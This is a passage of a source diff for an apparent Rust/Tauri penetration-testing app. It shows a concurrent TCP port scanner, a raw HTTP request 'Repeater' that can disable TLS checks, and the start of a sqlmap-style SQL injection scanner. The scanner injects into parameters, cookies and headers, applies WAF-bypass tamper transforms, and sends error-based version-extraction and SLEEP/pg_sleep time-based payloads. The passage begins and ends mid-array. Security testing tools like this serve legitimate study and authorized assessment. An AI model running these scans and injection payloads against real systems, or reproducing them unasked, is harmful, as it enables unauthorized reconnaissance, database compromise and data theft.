1433, 1521, 2049, 2181, 2375, 2376, 4369, 5000, 5001, 5044, 5432, 5601,
|
||||
5672, 5984, 6000, 6379, 7000, 7001, 7002, 8000, 8001, 8008, 8009, 8010,
|
||||
8081, 8082, 8083, 8086, 8088, 8090, 8091, 8161, 8200, 8291, 8333, 8400,
|
||||
8500, 8834, 8983, 9000, 9001, 9042, 9090, 9091, 9092, 9100, 9160, 9200,
|
||||
9300, 9418, 9443, 9999, 10000, 10001, 10250, 11211, 15672, 16379, 27017,
|
||||
27018, 27019, 28017, 50000, 50070, 54321, 61616,
|
||||
// common ports
|
||||
20, 26, 37, 79, 81, 82, 88, 106, 113, 119, 123, 137, 138, 161, 162, 389,
|
||||
427, 465, 500, 513, 514, 515, 548, 554, 587, 631, 636, 646, 873, 902,
|
||||
990, 1025, 1026, 1027, 1028, 1029, 1080, 1110, 1194, 1214, 1241, 1311,
|
||||
1352, 1434, 1433, 1494, 1503, 1720, 1755, 1761, 1812, 1900, 2000, 2001,
|
||||
2049, 2121, 2222, 2301, 2383, 2601, 2717, 2869, 3000, 3001, 3128, 3268,
|
||||
3306, 3389, 3690, 4000, 4001, 4045, 4100, 4333, 4444, 4662, 4899, 5009,
|
||||
5050, 5060, 5100, 5190, 5357, 5432, 5555, 5631, 5666, 5800, 5900, 6001,
|
||||
6346, 6646, 6660, 6661, 6662, 6663, 6665, 6666, 6667, 6668, 6669, 6881,
|
||||
7070, 7937, 7938, 8021, 8031, 8042, 8080, 8088, 8181, 8443, 8686, 8888,
|
||||
9100, 9102, 9103, 9535, 9999, 10243, 10566, 12345, 13782, 13783, 16992,
|
||||
16993, 17877, 17988, 19101, 19801, 19842, 20000, 22939, 24800, 30718,
|
||||
32768, 32769, 32770, 32771, 32772, 32773, 32774, 32775, 32776, 32777,
|
||||
32778, 32779, 49152, 49153, 49154, 49155, 49156, 49157, 49158, 49159,
|
||||
49160, 49161, 49163, 49165, 49167, 49175, 49176, 49400, 49999, 65000,
|
||||
65129, 65389,
|
||||
]
|
||||
}
|
||||
|
||||
pub fn service_name(port: u16) -> Option<String> {
|
||||
let s = match port {
|
||||
21 => "ftp",
|
||||
22 => "ssh",
|
||||
23 => "telnet",
|
||||
25 => "smtp",
|
||||
53 => "dns",
|
||||
80 => "http",
|
||||
110 => "pop3",
|
||||
139 => "netbios",
|
||||
143 => "imap",
|
||||
443 => "https",
|
||||
445 => "smb",
|
||||
993 => "imaps",
|
||||
995 => "pop3s",
|
||||
1433 => "mssql",
|
||||
1521 => "oracle",
|
||||
3306 => "mysql",
|
||||
3389 => "rdp",
|
||||
5432 => "postgres",
|
||||
5900 => "vnc",
|
||||
6379 => "redis",
|
||||
8080 => "http-alt",
|
||||
8443 => "https-alt",
|
||||
9200 => "elasticsearch",
|
||||
27017 => "mongodb",
|
||||
_ => return None,
|
||||
};
|
||||
Some(s.to_string())
|
||||
}
|
||||
|
||||
async fn probe(addr: SocketAddr, timeout_ms: u64) -> bool {
|
||||
matches!(
|
||||
timeout(Duration::from_millis(timeout_ms), TcpStream::connect(addr)).await,
|
||||
Ok(Ok(_))
|
||||
)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn port_scan(app: AppHandle, req: PortScanRequest) -> Result<Vec<PortResult>, String> {
|
||||
let ip: std::net::IpAddr = tokio::net::lookup_host(format!("{}:80", req.target))
|
||||
.await
|
||||
.map_err(|e| format!("resolve failed: {e}"))?
|
||||
.next()
|
||||
.map(|s| s.ip())
|
||||
.ok_or("no addresses resolved")?;
|
||||
|
||||
let total = req.ports.len();
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let scanned = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
let results: Vec<PortResult> = stream::iter(req.ports.into_iter())
|
||||
.map(|port| {
|
||||
let sem = sem.clone();
|
||||
let scanned = scanned.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
let open = probe(addr, req.timeout_ms).await;
|
||||
let n = scanned.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("portscan:progress", ScanProgress { scanned: n, total });
|
||||
let result = PortResult { port, open, service: service_name(port) };
|
||||
if open {
|
||||
let _ = app.emit("portscan:hit", result.clone());
|
||||
}
|
||||
result
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("portscan:done", total);
|
||||
Ok(results.into_iter().filter(|r| r.open).collect())
|
||||
}
|
||||
131
src-tauri/src/modules/repeater.rs
Normal file
@@ -0,0 +1,131 @@
|
||||
// ===================================================================
|
||||
// Repeater — Burp-style manual HTTP request sender.
|
||||
// Full control: method, URL, headers, body. Returns full response.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct RepeaterRequest {
|
||||
pub method: String,
|
||||
pub url: String,
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub body: Option<String>,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default)]
|
||||
pub follow_redirects: bool,
|
||||
#[serde(default)]
|
||||
pub ignore_tls: bool,
|
||||
}
|
||||
|
||||
fn default_timeout() -> u64 { 15_000 }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct RepeaterResponse {
|
||||
pub status: u16,
|
||||
pub status_text: String,
|
||||
pub http_version: String,
|
||||
pub headers: Vec<(String, String)>,
|
||||
pub body: String,
|
||||
pub body_len: usize,
|
||||
pub content_type: Option<String>,
|
||||
pub time_ms: u128,
|
||||
pub final_url: String,
|
||||
pub redirected: bool,
|
||||
pub is_text: bool,
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn repeater_send(req: RepeaterRequest) -> Result<RepeaterResponse, String> {
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(req.ignore_tls)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects {
|
||||
reqwest::redirect::Policy::limited(10)
|
||||
} else {
|
||||
reqwest::redirect::Policy::none()
|
||||
})
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-Repeater)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let method = reqwest::Method::from_bytes(req.method.to_uppercase().as_bytes())
|
||||
.map_err(|e| format!("bad method: {e}"))?;
|
||||
|
||||
let mut builder = client.request(method, &req.url);
|
||||
for (k, v) in &req.headers {
|
||||
if k.trim().is_empty() { continue; }
|
||||
builder = builder.header(k.trim(), v);
|
||||
}
|
||||
if let Some(body) = &req.body {
|
||||
if !body.is_empty() {
|
||||
builder = builder.body(body.clone());
|
||||
}
|
||||
}
|
||||
|
||||
let start = Instant::now();
|
||||
let resp = builder.send().await.map_err(|e| e.to_string())?;
|
||||
let status = resp.status();
|
||||
let version = format!("{:?}", resp.version());
|
||||
let final_url = resp.url().to_string();
|
||||
let redirected = final_url != req.url;
|
||||
|
||||
let headers: Vec<(String, String)> = resp.headers().iter()
|
||||
.map(|(k, v)| (k.to_string(), v.to_str().unwrap_or("").to_string()))
|
||||
.collect();
|
||||
|
||||
let content_type = resp.headers().get("content-type")
|
||||
.and_then(|v| v.to_str().ok()).map(String::from);
|
||||
|
||||
let is_text = content_type.as_deref().map(|c| {
|
||||
c.starts_with("text/") || c.contains("json") || c.contains("xml")
|
||||
|| c.contains("javascript") || c.contains("html") || c.contains("form-urlencoded")
|
||||
}).unwrap_or(true);
|
||||
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let elapsed = start.elapsed().as_millis();
|
||||
|
||||
Ok(RepeaterResponse {
|
||||
status: status.as_u16(),
|
||||
status_text: status.canonical_reason().unwrap_or("").into(),
|
||||
http_version: version,
|
||||
headers,
|
||||
body_len: body.len(),
|
||||
body,
|
||||
content_type,
|
||||
time_ms: elapsed,
|
||||
final_url,
|
||||
redirected,
|
||||
is_text,
|
||||
})
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub fn repeater_to_curl(req: RepeaterRequest) -> String {
|
||||
let mut parts: Vec<String> = vec!["curl".into(), "-i".into()];
|
||||
if req.ignore_tls { parts.push("-k".into()); }
|
||||
if req.follow_redirects { parts.push("-L".into()); }
|
||||
if req.method.to_uppercase() != "GET" {
|
||||
parts.push("-X".into());
|
||||
parts.push(req.method.to_uppercase());
|
||||
}
|
||||
for (k, v) in &req.headers {
|
||||
if k.trim().is_empty() { continue; }
|
||||
parts.push("-H".into());
|
||||
parts.push(format!("'{}: {}'", k.trim(), v.replace('\'', "'\\''")));
|
||||
}
|
||||
if let Some(body) = &req.body {
|
||||
if !body.is_empty() {
|
||||
parts.push("--data-raw".into());
|
||||
parts.push(format!("'{}'", body.replace('\'', "'\\''")));
|
||||
}
|
||||
}
|
||||
parts.push(format!("'{}'", req.url));
|
||||
parts.join(" ")
|
||||
}
|
||||
770
src-tauri/src/modules/sqli.rs
Normal file
@@ -0,0 +1,770 @@
|
||||
// ===================================================================
|
||||
// SQLi Scanner — sqlmap-style detection + exploitation.
|
||||
//
|
||||
// Detection pipeline (per injection point):
|
||||
// 1. Heuristic: append `'`, `''`, `"`, `\`, `)` — detect SQL errors or
|
||||
// response divergence from baseline. If nothing flags → skip.
|
||||
// 2. Fingerprint: compile DBMS guess from error signatures.
|
||||
// 3. Boolean-blind: test TRUE vs FALSE payload with prefix/suffix
|
||||
// variants, confirmed when TRUE ≈ baseline AND FALSE ≠ baseline.
|
||||
// 4. Error-based: send quote-break payload, grep DBMS error regex.
|
||||
// 5. Time-based: payload that sleeps N seconds, confirm if elapsed ≥ N.
|
||||
// 6. Union-based: find column count via ORDER BY increments, then
|
||||
// UNION SELECT markers to find reflected column → data extraction.
|
||||
//
|
||||
// Injection points tested:
|
||||
// - GET query params (from URL)
|
||||
// - POST body (form-urlencoded or JSON, `*` marker supported)
|
||||
// - Cookie values (`*` marker in cookie string)
|
||||
// - User-Agent / Referer / X-Forwarded-For headers (level 2+)
|
||||
//
|
||||
// `*` marker: anywhere in URL/body/cookie/header value forces that
|
||||
// position to be the injection point (exclusive). Example:
|
||||
// url = "https://x.com/item?id=1*"
|
||||
// body = "user=admin&token=*"
|
||||
//
|
||||
// After confirmation (if auto_extract=true), attempts to pull:
|
||||
// - DBMS banner / version()
|
||||
// - current_user / current_database
|
||||
// via UNION or error-based extraction.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use once_cell::sync::Lazy;
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Public API
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct SqliRequest {
|
||||
pub url: String,
|
||||
#[serde(default = "default_method")]
|
||||
pub method: String,
|
||||
#[serde(default)]
|
||||
pub body: Option<String>,
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub cookies: Option<String>,
|
||||
/// Filter params to test (optional). Blank = all found params tested.
|
||||
#[serde(default)]
|
||||
pub params: Option<Vec<String>>,
|
||||
/// Which techniques to run: "heuristic" "error" "boolean" "time" "union".
|
||||
#[serde(default = "default_techs")]
|
||||
pub techniques: Vec<String>,
|
||||
/// 1 = safest / fastest, 2 = adds headers + more payloads, 3 = full.
|
||||
#[serde(default = "default_level")]
|
||||
pub level: u8,
|
||||
/// Risk 1 = non-intrusive, 2 = time-based, 3 = stacked queries.
|
||||
#[serde(default = "default_risk")]
|
||||
pub risk: u8,
|
||||
#[serde(default = "default_true")]
|
||||
pub stop_on_first: bool,
|
||||
#[allow(dead_code)]
|
||||
#[serde(default = "default_true")]
|
||||
pub auto_extract: bool,
|
||||
#[serde(default)]
|
||||
pub tamper: Vec<String>,
|
||||
#[serde(default = "default_conc")]
|
||||
pub concurrency: usize,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default = "default_true")]
|
||||
pub follow_redirects: bool,
|
||||
}
|
||||
|
||||
fn default_method() -> String { "GET".into() }
|
||||
fn default_techs() -> Vec<String> { vec!["heuristic".into(), "error".into(), "boolean".into(), "union".into(), "time".into()] }
|
||||
fn default_level() -> u8 { 2 }
|
||||
fn default_risk() -> u8 { 1 }
|
||||
fn default_conc() -> usize { 4 }
|
||||
fn default_timeout() -> u64 { 15_000 }
|
||||
fn default_true() -> bool { true }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SqliFinding {
|
||||
pub param: String,
|
||||
pub location: String, // "GET", "POST", "Cookie", "Header:Referer"
|
||||
pub technique: String, // "heuristic", "error", "boolean-blind", "time-blind", "union"
|
||||
pub dbms: Option<String>,
|
||||
pub prefix: String,
|
||||
pub suffix: String,
|
||||
pub payload: String,
|
||||
pub full_payload: String,
|
||||
pub evidence: String,
|
||||
pub confidence: String,
|
||||
pub extracted: HashMap<String, String>,
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// DBMS signatures
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
static DBMS_ERRORS: Lazy<Vec<(&'static str, Vec<Regex>)>> = Lazy::new(|| vec![
|
||||
("MySQL", vec![
|
||||
Regex::new(r"(?i)sql syntax.*?mysql").unwrap(),
|
||||
Regex::new(r"(?i)warning.*?\Wmysqli?_").unwrap(),
|
||||
Regex::new(r"(?i)mysql.*?error").unwrap(),
|
||||
Regex::new(r"(?i)you have an error in your sql syntax").unwrap(),
|
||||
Regex::new(r"(?i)unknown column").unwrap(),
|
||||
Regex::new(r"(?i)mysqlclient\.").unwrap(),
|
||||
Regex::new(r"(?i)mysql-community-server").unwrap(),
|
||||
]),
|
||||
("PostgreSQL", vec![
|
||||
Regex::new(r"(?i)postgresql.*?error").unwrap(),
|
||||
Regex::new(r"(?i)pg_query\(\)").unwrap(),
|
||||
Regex::new(r"(?i)unterminated quoted string at or near").unwrap(),
|
||||
Regex::new(r"(?i)invalid input syntax for (?:integer|type)").unwrap(),
|
||||
Regex::new(r"(?i)postgres\.").unwrap(),
|
||||
]),
|
||||
("MSSQL", vec![
|
||||
Regex::new(r"(?i)microsoft sql server").unwrap(),
|
||||
Regex::new(r"(?i)odbc sql server driver").unwrap(),
|
||||
Regex::new(r"(?i)unclosed quotation mark before the character string").unwrap(),
|
||||
Regex::new(r"(?i)\[microsoft]\[odbc").unwrap(),
|
||||
Regex::new(r"(?i)sqlserver jdbc driver").unwrap(),
|
||||
Regex::new(r"(?i)conversion failed when converting").unwrap(),
|
||||
]),
|
||||
("Oracle", vec![
|
||||
Regex::new(r"(?i)ora-\d{5}").unwrap(),
|
||||
Regex::new(r"(?i)oracle error").unwrap(),
|
||||
Regex::new(r"(?i)quoted string not properly terminated").unwrap(),
|
||||
Regex::new(r"(?i)oracle.*?driver").unwrap(),
|
||||
]),
|
||||
("SQLite", vec![
|
||||
Regex::new(r"(?i)sqlite.*?error").unwrap(),
|
||||
Regex::new(r"(?i)sqlite3::sqlexception").unwrap(),
|
||||
Regex::new(r"(?i)unrecognized token:").unwrap(),
|
||||
Regex::new("(?i)near \".*?\": syntax error").unwrap(),
|
||||
]),
|
||||
]);
|
||||
|
||||
fn detect_dbms(body: &str) -> Option<&'static str> {
|
||||
for (db, regexes) in DBMS_ERRORS.iter() {
|
||||
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Prefix/suffix combos — ported from sqlmap's boundaries
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
fn boundaries(level: u8) -> Vec<(&'static str, &'static str)> {
|
||||
// (prefix, suffix)
|
||||
let base = vec![
|
||||
("", "-- -"),
|
||||
("'", "-- -"),
|
||||
("'", "'"),
|
||||
("\"", "-- -"),
|
||||
("\"", "\""),
|
||||
(")", "-- -"),
|
||||
("')", "-- -"),
|
||||
("\")", "-- -"),
|
||||
];
|
||||
if level <= 1 { return base; }
|
||||
let mut more = base;
|
||||
more.extend([
|
||||
("))", "-- -"),
|
||||
("'))", "-- -"),
|
||||
("\"))", "-- -"),
|
||||
("`", "-- -"),
|
||||
("`;", "-- -"),
|
||||
(";", "-- -"),
|
||||
("';", "-- -"),
|
||||
]);
|
||||
if level <= 2 { return more; }
|
||||
more.extend([
|
||||
("'))", "AND ('x'='x"),
|
||||
("\"))", "AND (\"x\"=\"x"),
|
||||
("%27", "-- -"),
|
||||
("%2527", "-- -"),
|
||||
]);
|
||||
more
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Tamper scripts (WAF bypass)
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
fn apply_tamper(payload: &str, tampers: &[String]) -> String {
|
||||
let mut p = payload.to_string();
|
||||
for t in tampers {
|
||||
p = match t.as_str() {
|
||||
"randomcase" => randomcase(&p),
|
||||
"space2comment" => p.replace(' ', "/**/"),
|
||||
"space2plus" => p.replace(' ', "+"),
|
||||
"between" => p.replace("=", " BETWEEN 0 AND 0 "), // crude
|
||||
"equaltolike" => p.replace("=", " LIKE "),
|
||||
"charunicodeencode" => char_unicode_encode(&p),
|
||||
_ => p,
|
||||
};
|
||||
}
|
||||
p
|
||||
}
|
||||
|
||||
fn randomcase(s: &str) -> String {
|
||||
use rand::Rng;
|
||||
let mut rng = rand::thread_rng();
|
||||
s.chars().map(|c| if c.is_ascii_alphabetic() && rng.gen_bool(0.5) { c.to_ascii_uppercase() } else { c.to_ascii_lowercase() }).collect()
|
||||
}
|
||||
|
||||
fn char_unicode_encode(s: &str) -> String {
|
||||
s.chars().map(|c| if c.is_ascii_alphanumeric() { c.to_string() } else { format!("%u00{:02x}", c as u32) }).collect()
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Request orchestration
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct InjectionPoint {
|
||||
location: String, // "GET", "POST", "Cookie", "Header:X-Forwarded-For"
|
||||
name: String, // param name
|
||||
base_value: String, // original value
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct Target {
|
||||
url: Url,
|
||||
method: String,
|
||||
body: Option<String>,
|
||||
body_is_json: bool,
|
||||
headers: HashMap<String, String>,
|
||||
cookies: Option<String>,
|
||||
}
|
||||
|
||||
fn parse_cookies(raw: &str) -> Vec<(String, String)> {
|
||||
raw.split(';').filter_map(|p| {
|
||||
let t = p.trim();
|
||||
if t.is_empty() { return None; }
|
||||
let (k, v) = t.split_once('=')?;
|
||||
Some((k.trim().to_string(), v.trim().to_string()))
|
||||
}).collect()
|
||||
}
|
||||
|
||||
fn serialize_cookies(pairs: &[(String, String)]) -> String {
|
||||
pairs.iter().map(|(k, v)| format!("{k}={v}")).collect::<Vec<_>>().join("; ")
|
||||
}
|
||||
|
||||
fn find_injection_points(req: &SqliRequest, target: &Target) -> Vec<InjectionPoint> {
|
||||
let mut out: Vec<InjectionPoint> = Vec::new();
|
||||
let filter = req.params.clone().unwrap_or_default();
|
||||
let want = |n: &str| filter.is_empty() || filter.iter().any(|f| f == n);
|
||||
|
||||
// Star marker has priority — if present, only inject there
|
||||
if target.url.as_str().contains('*') {
|
||||
// treat entire URL query as marker-based... simplified: find param with *
|
||||
for (k, v) in target.url.query_pairs() {
|
||||
if v.contains('*') {
|
||||
out.push(InjectionPoint {
|
||||
location: "GET".into(),
|
||||
name: k.to_string(),
|
||||
base_value: v.trim_end_matches('*').to_string(),
|
||||
});
|
||||
}
|
||||
}
|
||||
if !out.is_empty() { return out; }
|
||||
}
|
||||
|
||||
if let Some(body) = &target.body {
|
||||
if body.contains('*') && !target.body_is_json {
|
||||
for pair in body.split('&') {
|
||||
if let Some((k, v)) = pair.split_once('=') {
|
||||
if v.contains('*') {
|
||||
out.push(InjectionPoint {
|
||||
location: "POST".into(),
|
||||
name: k.to_string(),
|
||||
base_value: v.trim_end_matches('*').to_string(),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
if !out.is_empty() { return out; }
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ck) = &target.cookies {
|
||||
if ck.contains('*') {
|
||||
for (k, v) in parse_cookies(ck) {
|
||||
if v.contains('*') {
|
||||
out.push(InjectionPoint {
|
||||
location: "Cookie".into(),
|
||||
name: k,
|
||||
base_value: v.trim_end_matches('*').to_string(),
|
||||
});
|
||||
}
|
||||
}
|
||||
if !out.is_empty() { return out; }
|
||||
}
|
||||
}
|
||||
|
||||
for (k, v) in &target.headers {
|
||||
if v.contains('*') {
|
||||
out.push(InjectionPoint {
|
||||
location: format!("Header:{k}"),
|
||||
name: k.clone(),
|
||||
base_value: v.trim_end_matches('*').to_string(),
|
||||
});
|
||||
}
|
||||
}
|
||||
if !out.is_empty() { return out; }
|
||||
|
||||
// No marker: enumerate every parameter
|
||||
for (k, v) in target.url.query_pairs() {
|
||||
if want(&k) {
|
||||
out.push(InjectionPoint { location: "GET".into(), name: k.into_owned(), base_value: v.into_owned() });
|
||||
}
|
||||
}
|
||||
if let Some(body) = &target.body {
|
||||
if !target.body_is_json {
|
||||
for pair in body.split('&') {
|
||||
if let Some((k, v)) = pair.split_once('=') {
|
||||
if want(k) {
|
||||
out.push(InjectionPoint { location: "POST".into(), name: k.to_string(), base_value: v.to_string() });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Some(ck) = &target.cookies {
|
||||
for (k, v) in parse_cookies(ck) {
|
||||
if want(&k) {
|
||||
out.push(InjectionPoint { location: "Cookie".into(), name: k, base_value: v });
|
||||
}
|
||||
}
|
||||
}
|
||||
if req.level >= 2 {
|
||||
let hdr_points = ["User-Agent", "Referer", "X-Forwarded-For"];
|
||||
for h in hdr_points {
|
||||
if target.headers.contains_key(h) && want(h) {
|
||||
out.push(InjectionPoint {
|
||||
location: format!("Header:{h}"),
|
||||
name: h.into(),
|
||||
base_value: target.headers.get(h).cloned().unwrap_or_default(),
|
||||
});
|
||||
} else if req.level >= 3 && want(h) {
|
||||
// inject even if header wasn't sent originally
|
||||
out.push(InjectionPoint {
|
||||
location: format!("Header:{h}"),
|
||||
name: h.into(),
|
||||
base_value: String::new(),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
async fn send(
|
||||
client: &reqwest::Client,
|
||||
target: &Target,
|
||||
point: &InjectionPoint,
|
||||
injected_value: &str,
|
||||
) -> Option<(String, u16, u128)> {
|
||||
let start = Instant::now();
|
||||
let method = reqwest::Method::from_bytes(target.method.as_bytes()).unwrap_or(reqwest::Method::GET);
|
||||
let mut url = target.url.clone();
|
||||
let mut body = target.body.clone();
|
||||
let mut cookies = target.cookies.clone();
|
||||
let mut headers = target.headers.clone();
|
||||
|
||||
match point.location.as_str() {
|
||||
"GET" => {
|
||||
let pairs: Vec<(String, String)> = url.query_pairs()
|
||||
.map(|(k, v)| if k == point.name.as_str() { (k.into_owned(), injected_value.to_string()) }
|
||||
else { (k.into_owned(), v.into_owned()) })
|
||||
.collect();
|
||||
url.query_pairs_mut().clear();
|
||||
for (k, v) in &pairs { url.query_pairs_mut().append_pair(k, v); }
|
||||
}
|
||||
"POST" => {
|
||||
if let Some(b) = &body {
|
||||
let out: Vec<String> = b.split('&').map(|pair| {
|
||||
if let Some((k, v)) = pair.split_once('=') {
|
||||
if k == point.name { format!("{k}={}", urlencoding::encode(injected_value)) }
|
||||
else { format!("{k}={v}") }
|
||||
} else { pair.to_string() }
|
||||
}).collect();
|
||||
body = Some(out.join("&"));
|
||||
}
|
||||
}
|
||||
"Cookie" => {
|
||||
if let Some(ck) = &cookies {
|
||||
let mut pairs = parse_cookies(ck);
|
||||
for p in &mut pairs {
|
||||
if p.0 == point.name { p.1 = injected_value.to_string(); }
|
||||
}
|
||||
cookies = Some(serialize_cookies(&pairs));
|
||||
}
|
||||
}
|
||||
loc if loc.starts_with("Header:") => {
|
||||
headers.insert(point.name.clone(), injected_value.to_string());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
let mut builder = client.request(method, url.as_str());
|
||||
for (k, v) in &headers {
|
||||
if k.trim().is_empty() { continue; }
|
||||
builder = builder.header(k.trim(), v);
|
||||
}
|
||||
if let Some(ck) = &cookies { builder = builder.header("Cookie", ck); }
|
||||
if let Some(b) = &body {
|
||||
if target.body_is_json {
|
||||
builder = builder.header("Content-Type", "application/json").body(b.clone());
|
||||
} else {
|
||||
builder = builder.header("Content-Type", "application/x-www-form-urlencoded").body(b.clone());
|
||||
}
|
||||
}
|
||||
let resp = builder.send().await.ok()?;
|
||||
let status = resp.status().as_u16();
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
let elapsed = start.elapsed().as_millis();
|
||||
Some((text, status, elapsed))
|
||||
}
|
||||
|
||||
// --- content similarity -------------------------------------------
|
||||
|
||||
fn content_hash(s: &str) -> u64 {
|
||||
// crude content signature: sorted tokens
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::hash::{Hash, Hasher};
|
||||
let mut hasher = DefaultHasher::new();
|
||||
let mut tokens: Vec<&str> = s.split_whitespace().collect();
|
||||
tokens.sort_unstable();
|
||||
tokens.hash(&mut hasher);
|
||||
hasher.finish()
|
||||
}
|
||||
|
||||
fn similarity(a: &str, b: &str) -> f64 {
|
||||
if a == b { return 1.0; }
|
||||
if a.is_empty() && b.is_empty() { return 1.0; }
|
||||
let al = a.len() as f64;
|
||||
let bl = b.len() as f64;
|
||||
let len_sim = al.min(bl) / al.max(bl);
|
||||
let hash_sim = if content_hash(a) == content_hash(b) { 1.0 } else { 0.0 };
|
||||
// weighted
|
||||
0.6 * len_sim + 0.4 * hash_sim
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Detection techniques
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
async fn heuristic_probe(
|
||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint,
|
||||
) -> (bool, Option<&'static str>) {
|
||||
// Append quote/bracket and look for DBMS error OR significant response change
|
||||
let probes = ["'", "\"", "\\", "')", "\")"];
|
||||
for p in probes {
|
||||
let val = format!("{}{}", point.base_value, p);
|
||||
if let Some((body, _, _)) = send(client, target, point, &val).await {
|
||||
if let Some(db) = detect_dbms(&body) { return (true, Some(db)); }
|
||||
}
|
||||
}
|
||||
(false, None)
|
||||
}
|
||||
|
||||
async fn test_error_based(
|
||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
|
||||
) -> Option<(String, String, String, String, &'static str)> {
|
||||
// returns (prefix, suffix, payload, evidence, dbms)
|
||||
let breakers = ["'", "\"", "')", "\")", "`"];
|
||||
for b in breakers {
|
||||
for &payload in &["", "AND 1=CAST(@@version AS int)", "AND 1=CONVERT(int, @@version)", "AND extractvalue(1,concat(0x7e,version(),0x7e))"] {
|
||||
let full = apply_tamper(&format!("{}{}{} -- -", b, if payload.is_empty() {""} else {" "}, payload), tamper);
|
||||
let val = format!("{}{}", point.base_value, full);
|
||||
if let Some((body, _, _)) = send(client, target, point, &val).await {
|
||||
if let Some(db) = detect_dbms(&body) {
|
||||
return Some((b.to_string(), "-- -".to_string(), payload.to_string(), format!("{db} error triggered"), db));
|
||||
}
|
||||
}
|
||||
}
|
||||
if level < 2 { break; }
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
async fn test_boolean_blind(
|
||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint, baseline: &str, level: u8, tamper: &[String],
|
||||
) -> Option<(String, String, String, String)> {
|
||||
let boundaries = boundaries(level);
|
||||
for (prefix, suffix) in boundaries.iter() {
|
||||
let t_payload = apply_tamper(&format!("{}{} AND 1=1{}", point.base_value, prefix, suffix), tamper);
|
||||
let f_payload = apply_tamper(&format!("{}{} AND 1=2{}", point.base_value, prefix, suffix), tamper);
|
||||
let t_resp = send(client, target, point, &t_payload).await;
|
||||
let f_resp = send(client, target, point, &f_payload).await;
|
||||
if let (Some((tb, _, _)), Some((fb, _, _))) = (t_resp, f_resp) {
|
||||
let sim_t_base = similarity(baseline, &tb);
|
||||
let sim_f_base = similarity(baseline, &fb);
|
||||
// TRUE should resemble baseline; FALSE should diverge
|
||||
if sim_t_base > 0.9 && sim_f_base < 0.8 && (sim_t_base - sim_f_base) > 0.1 {
|
||||
return Some((
|
||||
prefix.to_string(),
|
||||
suffix.to_string(),
|
||||
"AND 1=1 / AND 1=2".to_string(),
|
||||
format!("true-sim={:.2} false-sim={:.2} (divergence detected)", sim_t_base, sim_f_base),
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
async fn test_time_based(
|
||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
|
||||
) -> Option<(String, String, String, String, &'static str)> {
|
||||
let cases: &[(&str, &str, u64)] = &[
|
||||
("MySQL", "AND SLEEP(5)", 5),
|
||||
("MySQL", "AND (SELECT 1 FROM (SELECT SLEEP(5))a)", 5),
|
||||
("PostgreSQL", "; SELECT pg_sleep(5)", 5),
|
||||
